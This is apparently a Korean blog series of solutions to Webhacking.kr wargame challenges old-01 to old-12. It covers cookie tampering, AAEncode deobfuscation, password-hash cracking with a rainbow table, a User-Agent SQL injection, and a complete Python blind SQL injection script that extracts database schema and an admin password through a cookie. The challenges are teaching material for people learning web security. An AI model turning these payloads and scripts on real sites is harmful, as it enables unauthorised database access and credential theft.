Old-12 Domain & Tool

  • 구분 : 코드 난독화
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 
    • AAEncode Decoder(Website 활용)

 


Old-12 Question & Answer

문제 페이지에 들어가면 javascript Challenge라는 p태그 하나만 검은화면에 있다. 콘솔[F12]를 활용해보면 다음과 같은 코드를 볼 수 있다.

귀여운 이모티콘들이 엄청 많이 기다리고 있다. 이 인코딩 방식은 AAEncoding이라고 하는데, 일본의 이모티콘방식으로 난독화를 거는 방식이다. 인터넷에서는 Decoder가 Open되어 있다. 디코딩한 결과는 다음과 같다.

var enco='';
var enco2=126;
var enco3=33;
var ck=document.URL.substr(document.URL.indexOf('='));
for(i=1;i<122;i++){
  enco=enco+String.fromCharCode(i,0);
}
function enco_(x){
  return enco.charCodeAt(x);
}
if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))
+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))
+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))
+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))
+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)
+String.fromCharCode(enco3))
{
  location.href="./"+ck.replace("=","")+".php";
}

이코드은 enco_라는 함수도 정의하고 enco라는 값도 사용하면서  또다시 읽기 힘들게 해두었는데, 구글 콘솔에서 조건뒤까지만 돌려보자 

이후 조건문에서 비교하는 ck가 무슨값인지 확인하면 '=youaregod~~~~~~!을 확인할 수 있다. 이거를 =을 없애고 .php로 경로이동을 하면 된다.

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-15 Answer  (0) 2022.07.22
[Webhacking.kr] old-14 Answer  (0) 2022.07.22
[Webhacking.kr] old-11 Answer  (0) 2022.07.14
[Webhacking.kr] old-10 Answer  (0) 2022.07.14
[Webhacking.kr] old-09 Answer  (0) 2022.07.14

Old-08 Domain & Tool

  • 구분 : SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]
    • python 3.10
      • Module : requests

Old-08 Question & Answer

시꺼먼 화면이다. 역시 웹해킹 연습사이트는 UI가 단조로워야 재맛이다. 일단 Hi guest라고 친.절.하게 인사해주니 쌩까고 view-source a태그를 클릭해서 동작방식을 확인하자 안쪽은 php source가 있다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

코드의 동작을 블록으로 나누어서 설명하면

  • 접속된 사용자의 HTTP_USER_AGENT(브라우저 정보) 와 REMOTE_ADDR(IP정보)를 가져온다.
  • 만약 HTTP_USER_AGENT에 from이라는 문자열이 있으면 Access Denied로 튕긴다
  • 만약 카디널리티가 70이 넘어간다면 해당 데이터베이스를 지운다.(아마 용량관리나 DOS대항인듯)
  • agent로 조건을 걸어서 가져온 id값이 admin이면 solve
  • 해당 agent로 행이 없으면 그 행을 생성한다.

여기서 집어넣는 sql은 다음과 같다.

  • Insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')"

IP는 못바꾼다. Proxy등을 쓰면 바꿀수 있겠지만, agent 는 SQL Injection이 가능하다. 따라서 agent에다가 SQL Injection을 삽입 하고, select문을 돌려보자

 

from requests import get
    

if __name__=="__main__" :
    
    sql_enter_headers = {"User-Agent": "REDUCTO', '0.0.0.0', 'admin')# "}
    sql_select_headers = {"User-Agent": "REDUCTO"}
    url = "https://webhacking.kr/challenge/web-08/"
    cookie = {
        "PHPSESSID":"// 당신의 PHPSESSID //",
    }

    req = get(url, headers=sql_enter_headers,cookies=cookie)
    print(req.content)

    req = get(url, headers=sql_select_headers,cookies=cookie)
    print(req.content)

결과는 다음과 같다.

b'<html>\n<head>\n<title>Challenge 8</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<br><br>\n<center>\n<br><br>done!  (0/70)<a href=./?view_source=1>view-source</a>\n</body>\n</html>\n'
b'<html>\n<head>\n<title>Challenge 8</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<br><br>\n<center>\nhi <b>admin</b><p><script>alert(\'login plz\');location.href=\'https://webhacking.kr/\';</script>'

필자는 2회차로 푸는거라 already solve가 나온거다

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-10 Answer  (0) 2022.07.14
[Webhacking.kr] old-09 Answer  (0) 2022.07.14
[Webhacking.kr] old-07 Answer  (0) 2022.07.10
[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10

Old-04 Domain & Tool

  • 구분 : Rainbow Table
  • 문제풀이에 사용된 도구 
    • python 3.10
      • Module : requests

Old-04 Question & Answer

들어가면 딱봐도 해시값처럼 보이는 정보와 Password를 입력할 수 있는 Textfield가 있다. 아래 View source라는 태그도 보이니, 이번문제또한 코드를 읽고 푸는 문제라고 판단했다. 확인하면 아래와 같은 php코드를 볼 수 있다.

 

<?php
  include "../../config.php";
  if($_GET['view-source'] == 1) view_source();
?><html>
<head>
<title>Challenge 4</title>
<style type="text/css">
body { background:black; color:white; font-size:9pt; }
table { color:white; font-size:10pt; }
</style>
</head>
<body><br><br>
<center>
<?php
  sleep(1); // anti brute force
  if((isset($_SESSION['chall4'])) && ($_POST['key'] == $_SESSION['chall4'])) solve(4);
  $hash = rand(10000000,99999999)."salt_for_you";
  $_SESSION['chall4'] = $hash;
  for($i=0;$i<500;$i++) $hash = sha1($hash);
?><br>
<form method=post>
<table border=0 align=center cellpadding=10>
<tr><td colspan=3 style=background:silver;color:green;><b><?=$hash?></b></td></tr>
<tr align=center><td>Password</td><td><input name=key type=text size=30></td><td><input type=submit></td></tr>
</table>
</form>
<a href=?view-source=1>[view-source]</a>
</center>
</body>
</html>

중간의 코드만을 강조해서 한번만 다시보자

<?php
  sleep(1); // anti brute force
  if((isset($_SESSION['chall4'])) && ($_POST['key'] == $_SESSION['chall4'])) solve(4);
  $hash = rand(10000000,99999999)."salt_for_you";
  $_SESSION['chall4'] = $hash;
  for($i=0;$i<500;$i++) $hash = sha1($hash);
?>

코드의 동작은 key라는 값이 post로 payload에 전달되면 그 값을 chall4라는 세션값과 비교한다. chall4는 10,000,000에서 99,999,999라는 값에 "salt_for_you"라는 값이 salting된 SHA1의 해시인데, 해시나온값을 피드백으로 500번 해싱을 반복한다. 그래서 문제는 화면에 보이는 값이 무엇을 해시한것인지 확인한느것이다.

 

맨처음에는 해시값을 계산하는 python스크립트를 짰다. 다만 평균적으로 5,000,000 * 500의 해시계산이 이루어지는것은 아무리 해시가 빨라도 보통의 웹세션시간안으로 계산할 수 없다고 생각했다. 그래서 "Rainbow Table"을 만들었다. 

A rainbow table is a precomputed table for caching the output of cryptographic 
hash functions, usually for cracking password hashes.

출처 : 위키백과 https://en.wikipedia.org/wiki/Rainbow_table

해석하면 Rainbow Table은 보통 패스워드 해시값을 크랙하기 위해 사전에 계산된 해시값을 모음이다. 아래와 같은 방식으로 rainbow_table을 생성하였고, 문제를 해결할 당시에는 requests 모듈이 session을 유지시켜 주지 않다보니, 계산된 hash값을 찾아주는 함수로 웹페이지상에서 풀었다.

from requests import post
import hashlib
import time
import concurrent.futures


target = ""

def iter_sha1(value) :
    cal_val = str(value)+"salt_for_you"
    for _ in range(500) :
        cal_val = sha1_generator(cal_val)
    return cal_val
    ##eturn str(value)+"salt_for_you"

def sha1_generator(inval:str):
    m = hashlib.sha1()
    m.update(inval.encode())
    return m.hexdigest()

## 웹페이지에 접속하여 find("해시값")으로 rainbow_table 추적
def find(key) :
    with open("./rainbow_table.dat","r") as f :

        while(True) :
            line = f.readline()

            if(key==line.split(" ")[0]) :
                answer = {"key":line.split(" ")[1].strip()+"salt_for_you"}
                print(line.split(" ")[0],answer)
                break
            

if __name__=="__main__" :

    FILE_NAME ="./rainbow_table.dat"

    url = "https://webhacking.kr/challenge/web-04"
    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    cookie = {"PHPSESSID":"//본인의 PHPSESSID //",}

    res = post(url, headers=header, cookies=cookie)
    
    start = 10000000
    end = 99999999
    unit = 50000
    index = 0

    start_time= time.time()
    while(True) :
        field = [x for x in range(int(start+(index*unit)),int(start+((index+1)*unit)))]
        
        with concurrent.futures.ProcessPoolExecutor() as executor:
            with open(FILE_NAME,"a") as f:
                for val, result in zip(field, executor.map(iter_sha1, field)):
                    f.write(result+" "+str(val)+"\n")
                    
        index += 1
        index %= (end-start)//unit
        mid =time.time()
        print(field[0],"현재시각",int(mid-start_time),"s")

 

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10
[Webhacking.kr] old-03 Answer  (0) 2022.07.07
[Webhacking.kr] old-02 Answer  (0) 2022.07.07
[Webhacking.kr] 서문 & old-01 Answer  (0) 2022.07.05

Old-03 Domain & Tool

  • 구분 : SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]

Old-03 Question & Answer

들어가면 네모네모 로직이 나온다. 이걸 풀면 문제가 풀린다니!! 이런 혜자 문제가 어디있나!!

solved를 누르자. 필자는 가장 어려운 문제를 푼기분이다.

Clear라는 이름과 함께 이름을 입력하도록 하고 있다. 아무이름이나 입력해보자

다음과 같은 결과가 나온다. 한번뒤로가서 다시 제출해보자

오호라 일단 데이터베이스를 활용하고 있는거 같다. 여기까지오면서 신기했던건 <script>태그를 활용해서 이렇게 된것으로, index.php한페이지에서 네모네모로직 페이지 -> 이름입력 페이지 -> 결과페이지가 구성되었다는 점이다. 데이터베이스를 사용한다는 점에서 SQL Injection에 취약할 법도 한데, 이름을 입력하는 곳밖에 form을 입력할 수 밖에 없다. POST로 날아가는 PayLoad에도 물론 해도되지만 조금만 쉬운길로 가보자. 바로 이름을 입력하는 페이지이다.

 

사실 이 두번째 Page의 소스는 answer라는 input값을 hidden으로 지정하고 있다. 즉 우리가 입력할 sql injection 공격 부분이 한군데 더있는것이다.

이곳에서 type hidden 태그를 벗겨보자 input 태그가 하나 더 나온것을 확인할 수 있다.

자 SQL Injection을 시도해보자

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10
[Webhacking.kr] old-04 Answer  (0) 2022.07.08
[Webhacking.kr] old-02 Answer  (0) 2022.07.07
[Webhacking.kr] 서문 & old-01 Answer  (0) 2022.07.05

Old-02 Domain & Tool

  • 구분 : Blind SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]
    • python 3.10
      • Module : requests

Old-02 Question & Answer

들어가면 Restricted area라는 안내문과 "Hello Stranger. Your IP is Logging"이라고 써있다. 특별한 코드나 반응은 보이지 않으니, 코드를 확인해보자

다른거는 모르겠는데. 이상한 시간으로 주석이 생성되어있고, 아래 "admin.php"로 들어가면 안된다는 이야기를 하고 있다. 역시- 바로 들어간다.

으흠.. Password를 입력해야 이 문제를 해결할 수 있을거 같다. PW를 입력하는 곳이니 한번 이곳에 SQL Injection코드를 시도해보자

<SQL Injection실패>

But 이 Field에 SQL Injection은 허용되지 않는거 같다. 여러특수문자를 시도해봤는데, 잘 안되었으니 말이다. 아까전에 보았던 이상한 주석(시간주석)으로 눈길을 돌려보자

<시간주석과 Time 이라는 쿠키>

PHPSESSID는 인간별로 지급되는 세션키이지만. Time이라는 이상한 쿠키값을 확인할 수 있다. 지금은 필자의 브라우저에서는 1512값으로 되어있는데, 주석은 2070-01-01 09:25:12로 되어있다. 값을 여러가지로 해보니까 다음과 같은 결과를 얻을 수 있었다.

  • 1512 : 2070-01-01 09:25:12
  • 10000 : 2070-01-01 11:46:40
  • 1 : 2070-01-01 09:00:01
  • 2 : 2070-01-01 09:00:02
  • 0 : 튕김, 강제로 1657186520(2022-07-07 06:35:20)로 변경되었음

응?? 이상하다. 1과 2, 1512, 10000의 결과로 2070-01-01 09:00:00 에서 시작되는 값인거는 알았는데, 0을 집어넣어서 09:00:00을 기대했는데, Refresh된다. Refresh 되지 못하게 그 전의 Response를 확인할 겸 Python으로 정보를 요청해보자

from requests import get

if __name__=="__main__" :
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"//본인의 PHPSESSID //",
        'time' :'0',
    }
    
    req = get(url,cookies=cookie,headers=headers)
    print(req.content)
## 결과

b"<script>location.href='./';</script>"

어머나... 그냥 새로고침하는 코드가 도착했다. 이곳이 필터링없이 DB에 들어가는 파라미터일 수 도 있으니, 이곳에 부정을 의미하는 코드를 집어넣어보자

from requests import get

if __name__=="__main__" :
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"// 본인의 PHPSESSID //",
        'time' :'0 or 1=0',		### 강제로 부정이 들어가게 해보았다.
    }
    
    req = get(url,cookies=cookie,headers=headers)
    print(req.content)

 

## 결과

b'<!--\n2070-01-01 09:00:00\n-->\n<h2>Restricted area
</h2>Hello stranger. Your IP is logging...
<!-- if you access admin.php i will kick your ass -->'

오호 09:00:00이 나왔다. 미루어보아 위에 1,2,1512를 넣었을 때 참을 의미하는 1이상의 정수를 넣으면 그만큼 초가 나오고 거짓이면 09:00:00가 나온다.

 

Blind SQL Injection하기에 최적의 조건이다. 이곳에서 여러가지의 Query문을 사용할 것인데, Table(SQL : 1,2,3)과 Column(SQL : 4,5,6)에 각각 개수를 알아내는 쿼리 -> 길이를 알아내는 쿼리 -> 이름을 알아내는 쿼리 를 수행한다. 아래와 같다.

  1. (SELECT count(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database()) : TABLE_SCHEMA가 database()이면 현재 연결중인 dbo만 대상으로 한다. information_schema.tables는 DB에서 사용하는 모든 Table의 정보들이 포함되어있다. 우리는 우선 이 코드에 연결된 DB Table이 어떤 이름인지를 알아볼것이다. 그러기 위해 table이 몇개있는지 부터 확인한다.
  2. (SELECT length(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit x, 1)" : table이 몇개 있는지 확인되었으면 다음으로는 각각의 Table_Name의 길이를 알아낼 차례이다. 사실은 바로 ascii와 substring을 사용해도 상관없지만, python코드를 위해서 추가해 보았다.
  3. (SELECT ascii(substring(table_name,X,1)) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit X, 1) : 길이를 알아내었으면, 이 길이까지 ascii와 substring을 이용해서 글자를 가져올것이다. 예를들어 ascii(substring(table_name, 1,1)) 결과가 'a'를 의미하는 97이라면 time의 쿠키는 97이 들어 갈곳이고, 시간은 09:01:37이 될것이다.
  4. (SELECT count(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name') : Table이름을 알아내었으니, INFORMATION_SCHEMA.COLUMNS에서 이 Table의 컬럼명을 알아낼 것이다. 그러기 위해서 '1'의 SQL문과 같이 컬럼의 개수부터 확인한다.
  5. (SELECT length(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name' limit X, 1) : '2'와 같은 목적의 SQL문이다. 다만 이번에 알아낼 길이는 Table명이 아닌 Column의 명이다.
  6. (SELECT ascii(substring(column_name,X,1)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='table_name' limit X, 1) : '3'와 같은 목적의 SQL문이다. 다만 Column의 이름을 알아낼 것이다.

이런식으로 Table과 column의 구조를 알아내어보았다.

### START BLIND SQL INJECTION ###
{'admin_area_pw': ['pw'], 'log': ['pw', 'ip', 'time']}

이곳에는 'admin_area_pw'라는 table과 'log'라는 이름의 table이 있다. 'admin_area_pw'의 pw라는 컬럼에 우리가 원하는 admin.php에서 사용되는 PW가 있을거라는 극한의 추측을 할 수 있다. admin_area_pw에는 오로지 한개의 tuple밖에 존재하지 않는다. 다행! sql injection을 마무리하자 (실제로 풀어보기를 바란다.)

전체코드

from requests import post,get
import re

def parse_request_value(request) :

    content = str(request.content)
    pat = re.compile('[0-9]{2}:[0-9]{2}:[0-9]{2}')
    time = pat.findall(content)[0]
    hour = int(time[0:2])
    minute = int(time[3:5])
    sec = int(time[6:8])
    return minute*60 + sec

def join_ascii_list(ascii_list) :
    char_list = [chr(x) for x in ascii_list]
    return ''.join(char_list)

if __name__=="__main__" :

    sql = ""                            ### Used for Many way
    total_table = dict()                ### key : table_name, value : column_name(list)

    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    url = "https://webhacking.kr/challenge/web-02"
    cookie = {
        "PHPSESSID":"//본인의 PHPSESSID //",
        'time' :'1',
    }


    print("### START BLIND SQL INJECTION ###")
    
    ### find count(*) of all tables ###
    sql = "(SELECT count(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database())"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    total_table_count = parse_request_value(req)
    
    
    ### make total_table : dict ###
    for ti in range(total_table_count):
        sql = "(SELECT length(table_name) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit "+str(ti)+", 1)"
        cookie['time'] = sql
        req = get(url,cookies=cookie,headers=headers)
        table_name_length = parse_request_value(req)
    
        table_name_ascii_list = list()

        for tni in range(1,table_name_length+1) :
            sql = "(SELECT ascii(substring(table_name,"+str(tni)+",1)) FROM INFORMATION_SCHEMA.Tables WHERE TABLE_SCHEMA=database() limit "+str(ti)+", 1)"
            cookie['time'] = sql
            req = get(url,cookies=cookie,headers=headers)
            table_name_ascii_list.append(parse_request_value(req))
        
        total_table[join_ascii_list(table_name_ascii_list)] = list()

        for tb_name in total_table.keys() :
            sql = "(SELECT count(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"')"
            cookie['time'] = sql
            req = get(url,cookies=cookie,headers=headers)
            column_count = parse_request_value(req)
                
            for ci in range(column_count) :
                sql = "(SELECT length(column_name) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"' limit "+str(ci)+", 1)"
                cookie['time'] = sql
                req = get(url,cookies=cookie,headers=headers)
                column_length = parse_request_value(req)

                column_name_ascii_list = list()

                for cni in range(1,column_length+1) :
                    sql = "(SELECT ascii(substring(column_name,"+str(cni)+",1)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"+tb_name+"' limit "+str(ci)+", 1)"
                    cookie['time'] = sql
                    req = get(url,cookies=cookie,headers=headers)
                    column_name_ascii_list.append(parse_request_value(req))

                total_table[join_ascii_list(table_name_ascii_list)].append(join_ascii_list(column_name_ascii_list))

    print(total_table)
                
    answer_table = "admin_area_pw"
    answer_column = "pw"
    
    ### get count(column_name) of answer_table ###
    sql = "(SELECT count("+answer_column+") FROM "+answer_table+")"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    rows_of_answer_table = parse_request_value(req)
    
    ### get length of answer_column ###
    sql = "(SELECT length("+answer_column+") FROM "+answer_table+")"
    cookie['time'] = sql
    req = get(url,cookies=cookie,headers=headers)
    length_of_answer = parse_request_value(req)

    ### get password ###
    pw_ascii_list = list()
    for i in range(1,length_of_answer+1) :
        sql = "(SELECT ascii(substring("+answer_column+","+str(i)+",1)) FROM "+answer_table+")"
        cookie['time'] = sql
        req = get(url,cookies=cookie,headers=headers)
        pw_ascii_list.append(parse_request_value(req))
    
    print("PW : "+join_ascii_list(pw_ascii_list))

 

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10
[Webhacking.kr] old-04 Answer  (0) 2022.07.08
[Webhacking.kr] old-03 Answer  (0) 2022.07.07
[Webhacking.kr] 서문 & old-01 Answer  (0) 2022.07.05

서문

웹해킹 문제풀이를 시작한다. 너무 CTF를 안한지 오래되어서 재미삼아서 시작한다. 완전 초보자인 필자가 이해하는 과정과 풀이과정을 상세히 적을 예정이다.

 


Old-01 Domain & Tool

  • 구분 : 쿠키조작
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]

 

Old-01 Question & Answer

들어가면 Level 1이라는 안내와함께 view-source 라는 링크가가 존재한다. 들어가보자

코드는 php로 작성되어있다. 다음과 같다.

<?php
  include "../../config.php";
  if($_GET['view-source'] == 1){ view_source(); }
  
  .... 중략 ....
---------------------<br>
<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=4) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>3) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>

<br>
<a href=./?view-source=1>view-source</a>
</body>
</html>

중간에 solve(1)이 있는것을 보아 3가지의 if문을 통과하여야 solve가 되는 구조이다. 각 if문은 다음과 같다.

  1. 'user_lv'라는 쿠키가 문자가 아니라면 'user_lv'라는 쿠키를 1로 설정한다.
  2. 'user_lv'라는 쿠키가 4가 넘어간다면 'user_lv'라는 쿠키를 1로 설정한다.
  3. 'user_lv'가 3보다 크다면 solve(1)를 호출한다.

4보다 크면 안되지만, 3보다 큰 값을 'user_lv'쿠키로 설정해야한다. 꼭 정수만 생각을 하지 말자. 3.5등 중간에 소수는 무궁무진하다.

Chrome의 관리자콘솔 [Application]에서 'user_lv'라는 쿠키를 3.5로 설정해주었다. 설정 후 새로고침[F5]하자

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10
[Webhacking.kr] old-04 Answer  (0) 2022.07.08
[Webhacking.kr] old-03 Answer  (0) 2022.07.07
[Webhacking.kr] old-02 Answer  (0) 2022.07.07

+ Recent posts